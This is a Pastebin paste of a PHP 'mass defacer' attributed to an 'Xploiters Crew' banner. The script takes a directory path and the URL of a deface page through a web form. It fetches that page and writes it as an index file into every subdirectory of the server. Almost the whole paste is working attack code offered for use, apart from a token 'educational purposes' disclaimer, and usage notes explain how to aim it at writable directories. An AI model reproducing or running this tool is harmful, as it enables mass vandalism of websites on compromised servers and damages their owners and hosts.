Advertisement
Muhammad_Bilal

Mass Defacer Php Script

Feb 4th, 2014
821
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.90 KB | None | 0 0
  1. __ __ _ _ _ ___
  2. \ \/ /_ __ | | ___ (_) |_ ___ _ __ ___ / __\ __ _____ __
  3. \ /| '_ \| |/ _ \| | __/ _ \ '__/ __| / / | '__/ _ \ \ /\ / /
  4. / \| |_) | | (_) | | || __/ | \__ \ / /__| | | __/\ V V /
  5. /_/\_\ .__/|_|\___/|_|\__\___|_| |___/ \____/_| \___| \_/\_/
  6. |_|
  7.  
  8. Linux Server Mass Defacer
  9. <?php
  10. /*
  11. Script: Mass Deface Script
  12. This script is for Research/Educational/Academic purposes only,
  13. The Author of this script takes no responsibility for the way
  14. you use this script, you are responsible for your own actions.
  15. */
  16. echo "<center><textarea rows='10' cols='100'>";
  17. $defaceurl = $_POST['massdefaceurl'];
  18. $dir = $_POST['massdefacedir'];
  19. echo $dir."\n";
  20.  
  21. if (is_dir($dir)) {
  22. if ($dh = opendir($dir)) {
  23. while (($file = readdir($dh)) !== false) {
  24. if(filetype($dir.$file)=="dir"){
  25. $newfile=$dir.$file."/indexx.php";
  26. echo $newfile."\n";
  27. if (!copy($defaceurl, $newfile)) {
  28. echo "failed to copy $file...\n";
  29. }
  30. }
  31. }
  32. closedir($dh);
  33. }
  34. }
  35. echo "</textarea></center>";
  36. ?>
  37. <td align=right>Mass Defacement:</td><br>
  38. <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
  39. [+] Main Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
  40. [+] Defacement Url: <input type='text' style='width: 250px' name='massdefaceurl'>
  41. <input type='submit' name='execmassdeface' value='Execute'></form></td>
  42.  
  43.  
  44.  
  45. <br><br><br>
  46. ** Main Directory = The Directory you want to mass deface (Must have read/write permission) **<br>
  47. ** Defacement Url = URL of your deface page (e.g: http://yoursite.com/deface.html ) **<br><br>
  48. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement